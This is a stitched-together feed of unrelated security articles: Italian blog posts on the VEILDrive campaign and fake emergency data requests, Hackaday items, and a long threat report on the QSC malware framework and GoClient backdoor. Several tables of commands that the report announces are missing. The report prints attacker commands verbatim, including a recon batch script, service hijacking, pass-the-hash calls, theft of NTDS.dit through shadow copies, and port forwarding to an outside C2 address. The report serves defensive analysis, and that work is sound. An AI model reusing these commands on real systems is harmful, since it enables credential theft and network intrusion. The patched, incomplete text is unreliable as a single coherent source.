Un’ombra inquietante si aggira nei sistemi aziendali: la campagna di attacco VEILDrive sta violando l’infrastruttura cloud di Microsoft, sfruttando i suoi stessi servizi legittimi per sfuggire a qualsiasi tentativo di rilevamento. Microsoft Teams, SharePoint, Quick Assist e persino OneDrive sono finiti nelle mani dei cybercriminali, trasformati in potenti strumenti per diffondere malware senza destare sospetti.

L’azienda di cybersecurity israeliana Hunters, che ha scoperto l’operazione a settembre 2024, ha lanciato l’allarme: VEILDrive rappresenta una minaccia strategica per infrastrutture critiche, come dimostrato dall’attacco che ha colpito una grande organizzazione americana, identificata come “Org C”. Senza svelare il nome dell’azienda vittima, Hunters ha descritto un attacco sofisticato, iniziato già ad agosto, culminato con l’installazione di un malware basato su Java, progettato per connettersi ai server Command and Control dei cybercriminali tramite OneDrive.

L’arma segreta di VEILDrive: Un’infrastruttura fidata

Come può un attacco così sofisticato passare inosservato? La risposta è tanto geniale quanto spaventosa: VEILDrive sfrutta la fiducia che i servizi Microsoft SaaS godono nei sistemi aziendali. Questi attaccanti non hanno creato nuovi strumenti, non hanno installato software non riconosciuti: hanno usato i servizi stessi di Microsoft per stabilire un livello di accesso continuativo, discreto e pericolosamente letale.

In una manovra di inganno senza precedenti, VEILDrive ha inviato messaggi tramite Teams a quattro dipendenti di “Org C”, impersonando membri dell’IT e richiedendo accesso remoto con Quick Assist. Ma la vera genialità dell’attacco sta nell’uso di un account già compromesso di un’altra azienda, “Org A”. Così, invece di generare sospetti con account falsi, hanno usato quello di una vittima precedente per insinuarsi nella nuova rete.

Microsoft Teams come porta d’ingresso per i Cybercriminali

Il tallone d’Achille sfruttato in questo attacco è una funzionalità di Microsoft Teams che consente la comunicazione diretta tra utenti di diverse organizzazioni tramite “Accesso Esterno”. Una funzione apparentemente innocua, ma che ha fornito un varco per i malintenzionati. Usare un servizio aziendale per lanciare un attacco contro un’altra azienda: un meccanismo di compromissione subdolo, che evidenzia come le politiche di fiducia tra piattaforme possano essere un’arma a doppio taglio.

Conclusione

Mentre il silenzio di Microsoft su questo fronte lascia spazio a preoccupazioni sempre più angoscianti, la campagna VEILDrive apre gli occhi su una realtà che non possiamo più ignorare. Nessuna infrastruttura, nessun servizio Cloud, per quanto fidato, può considerarsi immune. La domanda non è più “se” si verrà colpiti, ma “quando” e con quale sofisticazione.

VEILDrive ci lancia un segnale forte e chiaro: l’era della sicurezza garantita è finita. Le aziende devono abbandonare ogni illusione di protezione assoluta e riconoscere che oggi anche i servizi più fidati possono essere usati contro di loro.

L'articolo Microsoft Teams e OneDrive nelle Mani degli Hacker: La Minaccia Invisibile di VEILDrive proviene da il blog della sicurezza informatica.

L’FBI ha lanciato un avvertimento alle aziende statunitensi riguardo a un nuovo sistema di truffatori che utilizzano le richieste di dati di emergenza per rubare informazioni personali.

Utilizzando indirizzi e-mail hackerati di agenzie governative, i truffatori chiedono alle aziende private di fornire urgentemente dati riservati presumibilmente necessari per le indagini. Le aziende, temendo per l’incolumità delle persone, spesso forniscono i dati senza controllare attentamente le richieste. Di conseguenza, i criminali ottengono l’accesso alle informazioni personali degli utenti: telefoni, indirizzi ed e-mail, che vengono poi utilizzati per estorsioni o phishing.

Secondo l’FBI, negli ultimi mesi si è registrato un aumento delle vendite di conti governativi compromessi sui forum underground. Ad esempio, nell’agosto del 2024, un criminale informatico ha messo in vendita l’accesso agli indirizzi .gov a scopo di spionaggio ed estorsione. Il venditore ha affermato di essere in grado di aiutare i clienti a inviare richieste di dati di emergenza e ha anche fornito documenti falsi per mascherarsi da agenti delle forze dell’ordine.

Tali casi non sono isolati. Nel marzo 2024, un altro criminale ha affermato di avere accesso alle e-mail governative di più di 25 paesi e di essere disposto a fornire assistenza per richiedere dati, inclusi indirizzi e-mail e numeri di telefono. Nel dicembre 2023 sono stati registrati tentativi di ottenere dati attraverso false richieste con minacce che la mancata osservanza avrebbe potuto portare addirittura alla morte.

Per migliorare la protezione aziendale, l’FBI raccomanda di valutare criticamente tutte le richieste di dati di emergenza ricevute esaminando i documenti per individuare falsificazioni e incoerenze nei codici legali. È anche importante verificare accuratamente il mittente al minimo sospetto.

Le misure proposte per migliorare la sicurezza includono:

• utilizzo dell’autenticazione a due fattori;
• implementare rigide politiche di gestione delle password;
• creazione di password di almeno 16 caratteri di lunghezza e con combinazioni complesse di lettere, numeri e caratteri speciali;
• limitare l’accesso alle reti aziendali;
• impostare la segmentazione della rete per prevenire la diffusione di malware;
• utilizzando strumenti per monitorare attività sospette.

A causa dell’aumento della minaccia, l’FBI consiglia vivamente alle organizzazioni di rivedere i propri piani di risposta agli incidenti e di aggiornare le proprie politiche di sicurezza.

È inoltre importante mantenere stretti contatti con gli uffici regionali dell’FBI per il rapido scambio di informazioni e il coordinamento delle azioni. Per segnalare incidenti sospetti e attività criminali, l’FBI consiglia di segnalare tramite ic3.gov o l’ufficio sul campo più vicino.

L'articolo Phishing Estremo: i Cyber Criminali Sfruttano Email Governative Per Richiedere Dati Personali proviene da il blog della sicurezza informatica.

Steve Ballmer famously called Linux “viral”, with some not-entirely coherent complaints about the OS. In a hilarious instance of life imitating art, Windows machines are now getting attacked through malicious Linux VM images distributed through phishing emails.

This approach seems to be intended to fool any anti-malware software that may be running. The VM includes the chisel tool, described as “a fast TCP/UDP tunnel, transported over HTTP, secured via SSH”. Now that’s an interesting protocol stack. It’s an obvious advantage for an attacker to have a Linux VM right on a target network. As this sort of virtualization does require hardware virtualization, it might be worth disabling the virtualization extensions in BIOS if they aren’t needed on a particular machine.

AI Finds Real CVE

We’ve talked about some rather unfortunate use of AI, where aspiring security researchers asked an LLM to find vulnerabilities in a project like curl, and then completely wasted a maintainer’s time on those bogus reports. We happened to interview Daniel Stenberg on FLOSS Weekly this week, and after he recounted this story, we mused that there might be a real opportunity to use LLMs to find vulnerabilities, when used as a way to direct fuzzing, and when combined with a good test suite.

And now, we have Google Project Zero bringing news of their Big Sleep LLM project finding a real-world vulnerability in SQLite. This tool was previously called Project Naptime, and while it’s not strictly a fuzzer, it does share some similarities. The main one being that both tools take their educated guesses and run that data through the real program code, to positively verify that there is a problem. With this proof of concept demonstrated, it’s sure to be replicated. It seems inevitable that someone will next try to get an LLM to not only find the vulnerability, but also find an appropriate fix.

Slipping Between Parsers

Something else interesting from our conversation with Daniel was the trurl tool, that makes the curl url parser available as a standalone tool. The point being that there are often security problems that arise from handling URLs and other user-provided data with different parsers. And that’s the story [Andrea Menin] has to tell, taking a look at how file parsers handle file uploads a bit differently.

More specifically, Web Application Firewalls (WAFs) check a handful of metrics on file uploads, like the file extension, MIME Type, the “magic” first few bytes of the file, file size, filename sanitization, and more. This gets complicated when an application uses multipart/form-data. Files and parameters get chunked, separated by boundary delimiter strings.

So one trick is to hide strings that the WAF would normally block, by sneaking them inside a multipart upload. Another trick is to use the same name field multiple times. The WAF may ignore the repeated names, and the application itself may not ignore the repetition in the same way. There are many more, from inconsistent quotes, to omitting an expected carriage return in the upload, to failing to mention that your filename contains UTF characters.

Backscatter TOR DoS

[delroth] got a nasty surprise. He got an abuse@ email, letting him know that one of his server VMs was sending SSH probes around the Internet. Unless you’re SSH scanning on purpose, that’s not a good surprise. That’s bad for two reasons. First off, it really implies that your server has been compromised. And second, it’s going to put your IP on multiple spam and abuse blacklists.

The natural response was to start looking for malware. The likely culprits were a Syncthing relay, a Mastodon instance, a Tor relay, and a Matrix server. The odd thing was that none of those services showed signs of compromise. The breakthrough came when [delroth] started looking close at port 22 traffic captured by a running tcpdump. No outgoing packets were getting captured, but TCP reset packets were coming in.

And really, that’s the whole trick: Send bogus SSH packets from a spoofed IP address, to a bunch of servers around the Internet, and some of them will generate complaints. Anyone can generate raw packets with spoofed IP addresses. The catch is that not everyone can successfully send that traffic, since many ISPs do BCP38 scrubbing, where “impossible” traffic gets dropped. This traffic was impossible, since those source IPs were coming from the wrong network.

The only real question is “why?” The answer seems to be TOR. While [delroth] does run a TOR node, it’s not an exit node, which is usually enough to keep the IP out of trouble. While TOR does make some guarantees about traffic anonymity, it doesn’t make any guarantees about hiding the IPs of network nodes. And it seems that it’s recently become someone’s hobby to trigger exactly these attacks on TOR nodes.

Bits and Bytes

A pair of developers have started working on hardening for the PHP language and server components. That means adding back safe-unlink, doing memory isolation to make heap spraying harder, and removing trivial ways to trivially get powerful primitives. PHP may not be the cool kid on the block any more, but it’s still very widely used, and making exploitation just a bit harder is a clear win.

Cisco’s Unified Industrial Wireless Software had a trivial command injection attack allowing for arbitrary command execution as root. This was limited to devices running with Ultra-Reliable Wireless Backhaul mode turned on. So far this flaw hasn’t been found in real attacks, but such a flaw in industrial equipment isn’t great.

And finally, Electronic Arts had an improperly secured web API endpoint, and [Sean Kahler] found it and started looking around. It turns out that API included a swagger json, which documents the entire API. Score! In the end, the API allowed for moving a “persona” from one account to another, and that eventually allows for full account takeover. Yikes.

hackaday.com/2024/11/08/this-w…

On the bench where this is being written, there’s a Mitutoyo vernier caliper. It’s the base model with a proper vernier scale, but it’s beautifully made, and it’s enjoyable to see younger hardware hackers puzzle over how to use it. It cost about thirty British pounds a few years ago, but when it comes to quality metrology instruments that’s really cheap. The sky really is the limit for those in search of ultimate accuracy and precision. We can see then why this Redditor was upset when the $400 Mitutoyo they ordered from Amazon turned out to be nothing of the sort. We can’t even call it a fake, it’s just a very cheap instrument stuffed oddly, into a genuine Mitutoyo box.

Naturally we hope they received a refund, but it does raise the question when buying from large online retailers; how much are we prepared to risk? We buy plenty of stuff from AliExpress in out community, but in that case the slight element of chance which comes with random Chinese manufacture is offset by the low prices. Meanwhile the likes of Amazon have worked hard to establish themselves as trusted brands, but is that misplaced? They are after all simply clearing houses for third party products, and evidently have little care for what’s in the box. The £30 base model caliper mentioned above is an acceptable punt, but at what point should we go to a specialist and pay more for some confidence in the product?

It’s a question worth pondering as we hit the “Buy now” button without thinking. What’s your view? Let us know in the comments. Meanwhile, we can all be caught with our online purchases.

Thanks [JohnU] for the tip.

hackaday.com/2024/11/08/ask-ha…

Introduction

In 2021, we began to investigate an attack on the telecom industry in South Asia. During the investigation, we discovered QSC: a multi-plugin malware framework that loads and runs plugins (modules) in memory. The framework includes a Loader, a Core module, a Network module, a Command Shell module and a File Manager module. It is dropped either as a standalone executable or as a payload file along with a loader DLL. In this post, we describe each component of the framework as well as its recent activity including a deployment scenario, an additional backdoor, post-compromise activity and a link to the CloudComputating group.

QSC framework components

The Loader

The Loader implant is a service DLL with the internal name
loader.dll. It contains the string “E:\project\test\qt\bin\module\loader\x64\release\loader.pdb” as its PDB path. The Loader is configured to either read code from <systemdir>\drivers\msnet or read 0x100 (256) bytes from n_600s.sys, located in the same directory as the module, to get the file path containing code. If it reads the file path from n_600s.sys, it deletes the file afterwards. The Loader then reads and decompresses code from the provided file path. It reflectively injects the decompressed code into memory and calls the exported method plugin_working. The code injected by the Loader is the Core module, which is described below.

The Core and Network modules

The Core module has an internal name,
qscmdll.dll, and exports only one method, named plugin_working. It contains the string “E:\project\test\qt\bin\module\qscmdll\x64\release\qscmdll.pdb” as its PDB path. The Loader module passes the file path that contains the compressed Network module code as one of the parameters to the Core module.
The Core module reads the Network module (from the passed file path), decompresses it and injects it into memory. The Network module is a 64-bit DLL with the internal name
qscnetwork.dll. It contains the string “E:\project\test\qt\bin\module\qscnetwork\x64\release\qscnetwork.pdb” as its PDB path. The Network module exports the methods setConfig, checkTarget and getNetWork.
The Core module, after injecting the Network module into memory, initializes it by calling its exported methods in sequence:

• setConfig: copy configuration data from the Core module to the Network module.
• checkTarget: validate configuration fields by checking that the lengths of the fields are within their size limits.
• getNetWork: prepare and get the network object from the Network module for C2 communication. The Network module uses TLS implementation from the MbedTLS library.

In some of the cases, we found that the C2 in the configuration data contained an internal/proxy IP address, which suggested that the attackers were already aware of the target network topology. The configuration file contained the following settings:

• C2 IP address;
• Port;
• Sleep time;
• Internal/Proxy IP address;
• Proxy port;
• Proxy username;
• Proxy password.

The Core module supports the following C2 commands:

The File Manager module

The File Manager module has the internal name
qscBrowse.dll. It contains the string “E:\project\test\qt\bin\module\qscBrowse\x64\release\qscBrowse.pdb” as its PDB path, and exports the following methods.

• destroy: Free objects relating to network connection, file browsing and file transmission.
• destroyTransmit: Free network connection and file transmit operation related objects.
• startBrowse: Browse file system.
• startTransmit: Read/write file from/to system.
• stop: Close network connection. Stop the browsing and transmitting operations.
• stopTransmit: Close network connection and stop file transmitting operations.

The Core module, after reflectively injecting the File Manager module, calls its
startBrowse method. The startTransmit exported method of the File Manager module contains functionality to read/write files from/to the system. It is called when the module executes certain commands. The File Manager module supports following C2 commands:

Command Shell module

The Command Shell module has the internal name
qscShell.dll. It contains the string “E:\project\test\qt\bin\module\qscShell\x64\release\qscShell.pdb” as its PDB path, and exports the methods below.

• destroy: Free network connection and command shell related objects.
• startShell: Spawn cmd.exe as a command shell.
• stop: Close the network connection and terminate the command shell process.

The Core module, after reflectively injecting the Command Shell module, calls its
startShell method. The Command Shell module launches %windir%\system32\cmd.exe as a shell using the CreateProcess API, and data is written to and read from the shell using pipes. If the size of the received data exceeds 0xB (11) bytes, it checks if the received data starts with one of the command strings below. If the data does not start with one of these command strings, it is written to the command shell via a pipe.
If there is no more data to receive, the command shell is closed by issuing an
exit command.

QSC framework and GoClient backdoor deployment

When we first discovered the QSC framework in 2021, we had insufficient telemetry to find out how the framework was deployed or who the threat actor behind it was. We continued to monitor our telemetry for further signs of the QSC framework. In October 2023, we detected multiple instances of QSC files targeting an ISP in West Asia. Our investigation found that the target machines had been infected with the Quarian backdoor version 3 (aka Turian) since 2022, and the same attackers had used this access to deploy the QSC framework starting on October 10, 2023.

In addition to the QSC framework, the attackers also deployed a new backdoor written in Golang, which we have named “GoClient”. We saw the first deployment of this GoClient backdoor on October 17, 2023. After analyzing all the artifacts from this campaign, we assess, with medium confidence, that the CloudComputating threat actor is behind the deployment of the QSC framework and the GoClient backdoor.

QSC framework deployment

In October 2023, our telemetry showed that the Quarian backdoor was used to copy
c:\windows\system32\cmd.exe to c:\windows\task.exe and launch the command shell. The batch script is executed via the command shell.net stop swprv
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv\Parameters /v
ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\swprr.dll /f
sc config swprv start= auto
ping -n 120 127.0.0.1
net start swprv
As can be seen above, a service is created to launch the QSC framework loader DLL
swprr.dll.
In the same month, our telemetry indicated that yet another batch script had been executed via the Quarian backdoor, with similar commands:
net stop rasauto
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto\Parameters /v
ServiceDll /t REG_EXPAND_SZ /d $system32\rasautosvc.dll /f"
sc config rasauto start= auto
ping -n 120 127.0.0.1
net start rasauto
Just like the previous set of commands, the goal is to create a service to launch the QSC framework loader DLL
rasautosvc.dll.
About a month later, the attacker launched a command shell (
cmd.exe) using the QSC framework loader DLL file C:\Windows\System32\rasautosvc.dll, and dropped the following multiple QSC framework binaries in the specified order:

• C:\Windows\L2Schemas\update.exe (MD5 d99d97bb78929023d77d080da1b10f42)
• C:\Windows\L2Schemas\update.exe (MD5 7f89a83cda93ed3ddaa4315ea4ebba45)
• C:\Windows\L2Schemas\update.exe (MD5 d99d97bb78929023d77d080da1b10f42)
• C:\Windows\L2Schemas\update.exe (MD5 112820e9a87239c2e11ead80759bef85)
• C:\Windows\L2Schemas\update.exe (MD5 d99d97bb78929023d77d080da1b10f42)

Over the course of the next few months, more QSC framework binaries were dropped on the system via the same mechanism.

GoClient backdoor deployment

Also in October 2023, we found that the threat actor dropped and executed the GoClient backdoor file onto the affected system as
c:\programdata\usoshared\intop64.exe, again using the Quarian backdoor infection.

GoClient backdoor

The GoClient backdoor file communicates with the C2, hardcoded in the malware, via TLS. In order to initiate the communication, the malware prepares the challenge key by base64-encoding the hardcoded value of “177a7b1cf2441c7ebf626ebc7e807017” and sending it to the C2 server. If the challenge key is accepted, the C2 server sends a 16-byte value, which will be used as an RC4 key to encrypt/decrypt all subsequent messages between the malware and the server.

Next, the malware collects a list of system information (e.g. hostname, local IP, number of CPUs, etc.) from the victim’s machine in JSON format, encrypts it with an RC4 key, encodes it in base64 and sends it to the server.

The backdoor then receives a base64-encoded and RC4-encrypted, space-delimited list of command strings from the C2 server to execute on the victim’s machine.

The main C2 commands available are listed below:

Post-compromise activity using the GoClient backdoor

As mentioned above, the GoClient backdoor can be used to execute commands on a target system. This functionality was frequently used by the attackers. For example, they dropped the legitimate
rar.exe file in c:\inetpub\temp\ and uploaded a batch script, 1.bat, to the same location. Next, according to our telemetry, they executed 1.bat. The batch script contains the following commands:ping www.google.com -n 2
File Create("c:\inetpub\temp\a.dat");
systeminfo
ipconfig /all
netstat -ano -p tcp
tasklist /svc
net start
net view
arp -a
net localgroup administrators
reg query hkey_users
netsh firewall show config
net group /domain
net group "domain controllers" /domain
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings"
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\appmgmt
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\appmgmt\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv\parameters
reg add
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 0x1 /f
c:\inetpub\temp\rar.exe a c:\inetpub\temp\s.rar c:\inetpub\temp\*.dat
As can be seen from the list of executed commands, the attackers are primarily interested in collecting system information. Only at the end do they disable UAC remote restrictions and compress the harvested data with the previously uploaded
rar.exe utility.

Post-compromise activity using the QSC framework

The QSC framework was also leveraged to execute a series of commands to find the domain controller on the network, the file server and other machines as shown below. The domain controller was queried to view the list of users within the groups “domain controllers” and “domain computers”:
net group /domain
net group "domain controllers" /domain
ping dc01 -n 1"
ping dc02 -n 1"
net group "domain computers" /domain
ping 172.19.19.1 -n 1
ping 172.19.19.2 -n 1
tracert 172.19.19.2
netstat -ano
ping -a 172.17.104.102 -n 1
netstat -ano
findstr 172.19
ping -n -a fileserver
ping -n 1 -a fileserver
The attackers then dropped a tool to c:\Windows\L2Schemas\we.exe. We could not obtain a copy of
we.exe, but it was used to log in to the domain controller machine using the “pass the hash” technique and execute commands remotely:we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c
<user_name>@<domain_controller_ip> "whoami"

we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c
<domain>/<user_name>@<domain_controller_ip> -dc-ip <domain_controller_ip> "whoami"

wm.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c
<domain>/<user_name>@<domain_controller_ip> "whoami" -with-output
Next, the actor tried to list the users under the group “domain admins”:
net group "domain admins" /domain
One of the domain admin accounts was used by the attacker to remotely execute various commands on the domain controller and other machines using WMIC. Commands were executed to obtain the network configuration, and a shadow copy of the C: drive and the NTDS database. All information thus collected was then stored at user\downloads\1.txt on the domain controller:
wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c ipconfig >>$user\downloads\1.txt"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "vssadmin create shadow /for=C: >> $user\downloads\1.txt"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\NTDS.dit
$user\downloads"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "vssadmin delete shadows /for=c: /quiet"

Lateral movement (deploying the QSC framework)

By using WMIC and the stolen domain admin credentials, the attackers were able to execute the QSC framework on other machines within the affected network. We found multiple instances during our investigation where the attackers used WMIC to remotely run either a QSC framework loader DLL or a QSC framework executable on a target machine.

We found that the QSC framework sample
update.exe (MD5 d99d97bb78929023d77d080da1b10f42) was configured to use a local IP address (pivot machine address 172.17.99[.]5:8080) as a C2 address. Similarly, the sample update.exe (MD5 7f89a83cda93ed3ddaa4315ea4ebba45) was configured to use an internal IP address (pivot machine address 172.17.99[.]5:80) but run on port 80. This might suggest either that these samples were deployed on machines without internet access or that the threat actor decided to channel all C2 communication through selected machines for other reasons.
Just after executing each instance of the above QSC framework samples on the remote machine, the attacker executed
%windir%\l2schemas\pf.exe on the pivot machine. While we could not obtain a copy of pf.exe, it seemed to perform port forwarding operations to forward any traffic coming to the pivot machine’s local IP address on port 8080/80 to the remote C2 server address 108.61.206[.]206 on port 8080.wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c %temp%\update.exe"

%windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

tasklist

findstr pf.exe

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c taskkill /im net.exe /f"

net view \\<internal_ip>

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c tasklist >>
D:\fileserver\public\applications\drivers\apple\1.txt"

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c taskkill /im update.exe /f >>
D:\fileserver\public\applications\drivers\apple\1.txt"

taskkill /im pf.exe /f

netsh firewall show state

netsh firewall show config

netsh firewall delete portopening tcp 8080

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c %temp%\update.exe"

%windir%\l2schemas\pf.exe tcp listen:127.0.0.1:80 conn:108.61.206[.]206:8080"

tasklist

findstr pf.exe

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c taskkill /im update.exe /f >>
D:\fileserver\public\applications\drivers\apple\1.txt"

netstat -anb
netstat -anb -p tcp

netsh firewall show state

netstat -anb -p tcp
findstr 15001

netstat -anb -p tcp
findstr 8080

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c %temp%\update.exe"

%windir%\l2schemas\pf.exe tcp listen:127.0.0.1:8080 conn:108.61.206.206:8080

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c netstat -ano -p tcp
>>D:\fileserver\public\applications\drivers\apple\1.txt"

ping -n 1 108.61.206[.]206

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create
"system32\cmd.exe /c ping -n 1 40.113.110[.]67
>>D:\fileserver\public\applications\drivers\apple\1.txt"

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c tasklist
>>D:\fileserver\public\applications\drivers\apple\1.txt"

ping -n 1 40.113.110[.]67

taskkill /im pf.exe /f

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c ping -n 1 <internal_ip_2>
>>D:\fileserver\public\applications\drivers\apple\1.txt"

%windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

net use \\<internal_ip_2> <user_password> /u:<user_name>

tasklist

findstr update.exe

net use * /d /y

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "%windir%\l2schemas\update.exe"

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c tasklist
>>D:\fileserver\public\applications\drivers\apple\1.txt"

"wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c netstat -ano -p tcp
>>D:\fileserver\public\applications\drivers\apple\1.txt"

%windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

Attribution

We found multiple artifacts that helped us in attributing the QSC framework and the activity described above to the CloudComputating (aka BackdoorDiplomacy, Faking Dragon) group:

• On February 23, 2024, our product detected the presence of the file C:\Windows\SysWOW64\appmgmt.dll (MD5 97b0a8e8d125e71d3d1dd8e241d70c5b). This DLL file is Quarian backdoor version 3 (aka Turian), compiled on Thursday, 28.04.2022 02:59:40 UTC. Quarian backdoor version 3 (aka Turian) was used to deploy the QSC framework and GoClient backdoor as described above.
• The Quarian backdoor sample C:\Windows\SysWOW64\appmgmt.dll (MD5 97b0a8e8d125e71d3d1dd8e241d70c5b) was configured to use the domain “proxy.oracleapps[.]org”, which was previously used by BackdoorDiplomacy as reported by Bitdefender in their report, “Cyber-Espionage in the Middle East: Investigating a New BackdoorDiplomacy Threat Actor Campaign“.
• The Quarian backdoor sample code is protected by VMProtect. After unpacking it, our KTAE (Kaspersky Threat Attribution Engine) attribution engine found a high degree of similarity with the CloudComputating group’s other malware.
  
  Kaspersky Threat Attribution Engine analysis
• We observed that the Quarian backdoor V3 sample C:\Windows\SysWOW64\appmgmt.dll (MD5 97b0a8e8d125e71d3d1dd8e241d70c5b) shell command created a copy of cmd.exe in the Windows directory with task.exe as the filename.
• In this campaign, we found C:\ProgramData\USOShared\ to be a common directory which contained the QSC framework, the GoClient backdoor, Quarian backdoor version 3 binaries and tools used in reconnaissance and post-compromise activity. This also helps in tracing all the implants and tools to the CloudComputating group. Some of the tools, such as TailorScan and StowProxy, are known to have been used by CloudComputating in past activity discovered in the Middle East.

  MD5	FilePath	Comment
  7a5a354b4ee40d694d7935f5 061fbd06	C:\ProgramData\USOShared \msvcen.exe	QSC framework
  5eba7f8a9323c2d9ceac9a0f 91fad02f	C:\ProgramData\USOShared \intop64.exe	GoClient backdoor
  0fe65bbf23b0c589ad462e84 7e9bfcaf	C:\ProgramData\USOShared \ts6.exe	TailorScan. Executed by Quarian backdoor
  50be5e66a94a25e61d61028d b6a41007	C:\ProgramData\USOShared \agt.exe	StowProxy. Executed by Quarian backdoor
  6a09bc6c19c4236c0bd8a019 53371a29	C:\ProgramData\USOShared \pdp.exe	ProcDump. Executed by Quarian backdoor
  efbdfeea6ececf08f24121d5 d444b751	C:\ProgramData\USOShared \to0.exe	Executed by Quarian backdoor. Could not get copy of the sample
  567b921d9757928a4bd137a0 8cfff06b	C:\ProgramData\USOShared \fn.exe	Executed by Quarian backdoor. Could not get copy of the sample

Conclusions

Our investigation has revealed a significant shift in the tactics of the CloudComputating group, marked by their adoption of the QSC framework alongside the previously identified Quarian backdoor and its variants. Our telemetry data indicates that the group has initiated limited yet targeted campaigns using QSC framework and focusing specifically on the telecommunication sector. Additionally, in response to detection of the Quarian backdoor, the group has begun deploying a protected version. The usage of the QSC framework suggests a strategic change in their toolkit, serving as a secondary means to maintain access within compromised networks. This evolution underscores the group’s adaptability and emphasizes the importance of continuous monitoring of its future activities.

QSC is a modular framework, of which only the initial loader remains on disk while the core and network modules are always in memory. Using a plugin-based architecture gives attackers the ability to control which plugin (module) to load in memory on demand depending on the target of interest.

IOCs

QSC framework Loader
d88ef85941ec6be99fd1e38ad5702bae
6da5b3bc89a6d83bc80b462c29f1715b
de4e76c9c5916570e75411aab7141f73

QSC framework executable
c687b0b8a8cc86638b53ca6d66ede382
d3749cef1a91a0a80a013d5a8b2c28d1
d99d97bb78929023d77d080da1b10f42
4dde0699dd21b16afa38be92efcfec61
112820e9a87239c2e11ead80759bef85
7a5a354b4ee40d694d7935f5061fbd06
0f0b8d2f648a4609cf2f6decd3407c8c
3dbc5b5e5f6713b9a6b838da25075187

GoClient backdoor
5eba7f8a9323c2d9ceac9a0f91fad02f
9da4b88a6b80db85c102ce8c841f0a5c
b581c0835934460719181afd9abf5a4e

Quarian backdoor version 3 (aka Turian)
97b0a8e8d125e71d3d1dd8e241d70c5b
a83a869df90acb5344a6e9b11e5f6e74

Batch scripts to deploy QSC framework DLL
76caef183ad0c869f3cb8b474f6a0fd7
3d62eee8d7fe5d6c86946a4e14db784f

Batch scripts dropped by GoClient backdoor to collect victim information
23351bc0b2be2ffb946de2bf7770df2e
23313406b64e1d0e8ec4a3c173ceda21

Tools used in post-compromise activity
b09cf30e7f0e326c9127047bdf518d05
eaff84466e086e9ca204e0548af3fbeb
ee4cb0891056c89b61b3ff3c8040a994
efbdfeea6ececf08f24121d5d444b751
567b921d9757928a4bd137a08cfff06b

File paths
C:\Windows\L2Schemas\update.exe
C:\Windows\L2Schemas\update64.exe
C:\ProgramData\USOShared\msvcen.exe
c:\ProgramData\package cache\{d401961d-3a20-3ac7-943b-6139d5bd490a\dwn.exe
C:\Windows\System32\audio.dll
C:\Windows\System32\rasautosvc.dll
C:\Windows\L2Schemas\audio.dll
C:\programdata\usoshared\intop64.exe
C:\ProgramData\usoprivate\updatestore\intop64.exe
C:\ProgramData\package cache\{010792ba-551a-3ac0-a7ef-0fab4156c382}v12.0.40664\csrs.exe
C:\Windows\SysWOW64\appmgmt.dll
C:\Windows\L2Schemas\w3wpt.exe
C:\Windows\L2Schemas\we.exe
C:\Windows\L2Schemas\pf.exe
C:\Windows\L2Schemas\pt.exe
C:\Windows\L2Schemas\onlytcp.exe
C:\ProgramData\USOShared\to0.exe
C:\ProgramData\USOShared\fn.exe
C:\Windows\SysWOW64\drivers\c.bat
C:\Windows\SysWOW64\drivers\c.bat
C:\Windows\Temp\c.bat
c:\inetpub\temp\1.bat
C:\Windows\L2Schemas\E.bat

PDB paths
